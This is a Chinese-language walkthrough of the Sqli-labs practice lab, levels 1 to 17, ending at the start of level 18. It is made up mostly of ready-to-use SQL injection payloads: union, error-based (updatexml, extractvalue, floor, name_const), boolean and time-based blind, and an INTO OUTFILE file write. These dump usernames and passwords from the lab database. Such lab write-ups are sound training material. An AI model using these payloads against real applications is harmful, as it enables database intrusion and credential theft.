Sqli-labs Less1-20
/0x01 Less1-Less10
参考旧博客文章《Sqli-labs之Less1-10》,个人觉得写得还算详细。
下面补下之前遇到的坑,就是level7中payload无法往当前目录写文件的问题,后来发现是这个问题,mysql的配置文件my.ini中使用到了–secure-file-priv这个参数,这个参数的主要目的就是限制LOAD DATA INFILE或者SELECT INTO OUTFILE之类文件的目录位置:
1 | #To avoid warning messages |
解决办法直接将其置空即可。
再发一次payload,就能在当前目录访问生成的文件了:
1 | http://localhost/sqli/Less-7/?id=0')) union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users into outfile "E:\\wamp64\\www\\sqli\\Less-7\\7.txt" %23 |
0x02 Less11
打开是个登录界面,可以输入用户名和密码,尝试输入admin’:
可以看到页面直接返回显示报错信息:’666’ LIMIT 0,1’
再在password中尝试注入:
显示报错信息:’’666’’ LIMIT 0,1’
由此推测后台SQL语句可能为:SELECT xx FROM XX WHRER username=’admin’ and password=’666’ LIMIT 0,1;
验证一下,这里用’ and 1=1#和’ and 1=2#来组合验证是行不通的,因为这并非和前面的level一样只有一个入参,而且这里我们本来就不知道正确的用户名和密码,因此后面再加and是无法判断的,那就直接用or:
没毛病,直接上payload:
1 | uname=admin&passwd=666' union select 1,group_concat(concat_ws(char(32,58,32),id,username,password)) from users#&submit=Submit |
最后看下源码的SQL语句,确实和推测的差不多:
1 | @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; |
0x03 Less12
和level11一样的登录界面,在用户名处输入双引号后出现如下报错信息:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '666") LIMIT 0,1' at line 1 |
推测后台SQL语句可能为:SELECT xx FROM XX WHRER username=(“admin”) and password=(“666”) LIMIT 0,1;
输入uname=admin”)&passwd=666&submit=Submit看到该报错信息即可验证:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") and password=("666") LIMIT 0,1' at line 1 |
payload:
1 | uname=admin&passwd=666") union select 1,group_concat(concat_ws(char(32,58,32),id,username,password)) from users#&submit=Submit |
看下SQL语句源码:
1 | // connectivity |
0x04 Less13
和level12一样,只是双引号换成了单引号,查询失败返回显示错误信息,但查询成功不返回显示任何字段内容。
由此可知,是,利用和level5类似,利用基于错误的SQL语句,如下面利用报错显示出数据库名:
1 | ') union select 1,2 from(select count(*),concat_ws(char(32,58,32),database(),floor(rand()*2))name from information_schema.tables group by name)b# |
直接上payload,其中若不使用group_concat则只要改下limit 0,1的第一个参数即可遍历所有变量:
1 | ') union select 1,2 from(select count(*),concat(char(32,58,32),(select group_concat(table_name) from information_schema.tables where table_schema='security'),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b# |
看下源码,注释掉了显示代码:
1 | / connectivity |
0x05 Less14
和less13原理一样,都是利用基于错误的SQL语句,只不过不是’)而是”双引号:
1 | uname=admin&passwd=666" union select 1,2 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b#&submit=Submit |
看下源码SQL语句:
1 | $uname='"'.$uname.'"'; |
0x06 Less15
测试几下,发现是基于布尔型的盲注,用单引号注入。
具体参考Less8即可,如下面用二分法爆破出DB名:
1 | uname=admin&passwd=666' or ascii(substr((select database()), 1, 1))>114#&submit=Submit |
其他的步骤类似,不再赘述了。
看下源码,把输出都注释了:
1 | // connectivity |
0x07 Less16
上Less15原理一致,只不过单引号变成”)注入:
1 | uname=admin&passwd=666") or ascii(substr((select database()), 1, 1))>114#&submit=Submit |
其他的步骤类似,不再赘述了。
看下源码,把输出都注释了:
1 | // connectivity |
0x08 Less17
这是一道UPDATE语句的SQL注入。
看界面,说是可以重置密码:
尝试在username和password中注入,发现在password中注入时会报错显示出来:
这里报错显示’admin’’。结合是重置密码的功能,可以推测出这里是UPDATE语句,从而退出后台SQL语句应该为:UPDATE users SET password=’xxx’ WHERE username=’admin’;。
验证一下,看下源码中SQL语句怎么写的:
1 | // take the variables |
可以看到和推测的SQL语句一样,而且还看到程序对username进行了过滤,但并未过滤password。
那我们现在看看过滤函数的实现,看看能不能绕过从而实现username参数的注入:
1 | function check_input($value) |
可以看到先判断参数是否为空,不为空则取前15位,然后调用get_magic_quotes_gpc()函数判断magic_quotes_gpc是否开启(返回0表示本功能关闭,返回1表示本功能打开),开启了的话(当magic_quotes_gpc打开时,所有的’(单引号)、”(双引号)、(反斜杠)和NULL(空字符)会自动转为含有反斜杠的溢出字符)就调用stripslashes()删除由addslashes()函数添加的反斜杠;接着调用ctype_digit(string)函数检查字符串中每个字符是否都是十进制数字(若是则返回TRUE,否则返回FALSE),当判断为非十进制数组时则调用mysql_real_escape_string()过滤参数。
可知,对username参数的过滤很有效,无从下手,只能对password进行注入了。
Method1——updatexml()函数
函数定义:
1 | updatexml(xml_target,xpath_expr,new_xml) |
参数 | 描述 |
---|---|
xml_target | 目标xml,形式类似于节点目录 |
xpath_expr | xml的表达式(xpath格式) |
new_xml | 用来替换的xml |
updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。
简单来说就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
使用该函数的注入原理是主要是利用报错返回信息。将updatexml()的xml_target和new_xml参数随便设定一个数即可。利用updatexml()获取数据的固定payload是:
1 | ... or updatexml(1,concat('#',(select * from (select ...) a)),0) ... |
注入一下payload即可显示数据库信息,其中0x2b为+号,当然可以用单引号直接括起来添加:
1 | uname=admin&passwd=666' or updatexml(1,concat('+',(select database()),'+'),0)#&submit=Submit |
报错显示出数据库名了,接着爆出表名吧,一开始输入如下payload虽然执行成功但没有显示报错内容:
1 | uname=admin&passwd=666' or updatexml(1,concat(0x2b,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x2b),0)#&submit=Submit |
后面测试了一番,发现将or换成and就可以了:
1 |
|
然后查询列名:
1 | uname=admin&passwd=666' and updatexml(1,concat(0x2b,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x2b),0)#&submit=Submit |
最后本该列出所以该数据库表信息的,但是报错了:
1 | uname=admin&passwd=666' and updatexml(1,concat(0x2b,(select group_concat(concat_ws(char(32,58,32),id,username,password)) from users),0x2b),0)#&submit=Submit |
不能先select表中的某些值,再update这个表(在同一语句中)。
解决方法:将select出的结果作为派生表再select一遍,这样就规避了错误。
注意:此问题只出现于MySQL,msSQL和Oracle不会出现此问题。
最后需要我们再加一层select查询,然后加上别名(这里示例写了test)才能正常拿到password:
1 | uname=admin&passwd=666' and updatexml(1,concat(0x2b,(select * from (select concat_ws(':',id,username,password) from users limit 0,1) test),0x2b),0)#&submit=Submit |
这里示例是通过limit遍历各个用户的密码,使用group_concat这里是测试不通过的。
Method2——extractvalue()函数
原理和用法跟updatexml()函数几乎一样,只是少了第三个参数:
1 | extractvalue(xml,value) |
extractvalue()函数也是MySQL 5.1以后推出的对xml文档数据进行查询和修改的xpath函数。
extractvalue()的xml参数随便设定一个数。利用extractvalue()获取数据的固定payload是:
1 | ... or extractvalue(1,concat('#',(select * from (select ....) a)))--+ |
直接上payload:
1 | uname=admin&passwd=666' and extractvalue(1,concat(0x2b,(select * from (select concat_ws(':',id,username,password) from users limit 0,1) test),0x2b))#&submit=Submit |
Method3——floor()函数
报错显示数据库名:
1 | uname=admin&passwd=666' and (select 1 from (select count(*),concat(database(),':',floor(rand(0)*2))x from information_schema.tables group by x)a) #&submit=Submit |
接着可以使用group_concat列出所有表名:
1 | uname=admin&passwd=666' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),':',floor(rand(0)*2))x from information_schema.tables group by x)a) #&submit=Submit |
列出列名:
1 | uname=admin&passwd=666' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),':',floor(rand(0)*2))x from information_schema.tables group by x)a) #&submit=Submit |
最后获取数据库信息时,通过group_concat是不成功的,只能利用limit遍历出来:
1 | uname=admin&passwd=666' and (select 1 from (select count(*),concat((select concat_ws(':',id,username,password) from users limit 0,1),':',floor(rand(0)*2))x from information_schema.tables group by x)a) #&submit=Submit |
Method4——基于时间的盲注
开始时尝试的盲注老有问题,于是参考了sqlmap是怎么注入的:
1 | Type: AND/OR time-based blind |
可以看到,sqlmap中基于时间的盲注是基于Double Select注入,在其中结合sleep以及if来实现注入的。具体的实现如下,逐个字符猜测,当猜测正确时页面是sleep 10秒,否则马上响应:
1 | uname=admin&passwd=666' and (select * from (select(sleep(10-if(ascii(substr(database(),1,1))=115,0,10))) )mi1k7ea)#&submit=Submit |
这里ASCII码155对应字符s,逐个字符推出数据库名为security。
接着推出表名,ASCII码117对应字符u,这里直接推出limit 2,1为users表的开始:
1 | uname=admin&passwd=666' and (select * from (select(sleep(10-if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 2,1),1,1))=117,0,10))) )mi1k7ea)#&submit=Submit |
接着推字段,ASCII码105为字符i,这里可推出第一个字段名为id:
1 | uname=admin&passwd=666' and (select * from (select(sleep(10-if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,0,10))) )mi1k7ea)#&submit=Submit |
最后就是爆表的内容了,ASCII码48为字符0,我本地的admin密码现在是0:
1 | uname=admin&passwd=666' and (select * from (select(sleep(10-if(ascii(substr((select password from users where username='admin'),1,1))=48,0,10))) )mi1k7ea)#&submit=Submit |
Method5——name_const()函数
只适用于MySQL版本高于5.0.12,但又稍旧的版本。不适用于现在的5.7版本,会显示Incorrect arguments to NAME_CONST。
函数定义:
1 | name_const(name,value) |
返回给定值,当用来产生一个结果集合列时,name_const()促使该列使用给定名称。
获取数据库名:
1 | 666' and (SELECT * FROM (SELECT name_const(database(),1),name_const(database(),1)) a) WHERE username='admin'# |
获取表名:
1 | 666' and (SELECT * FROM (SELECT name_const((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),1),name_const((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),1)) a)# |
总的来说,对于update、delete和insert都有一个固定的结构:
1 | ... or (select * from (select name_const((select ...),1),name_const((select ...),1)) a) ... |
0x09 Less18
访问页面,有个登录框和显示ip地址一栏信息:
尝试一番操作,在username和password都没有疑似SQL注入的问题。
其实本页面的标题已经提示我们是HTTP头注入了。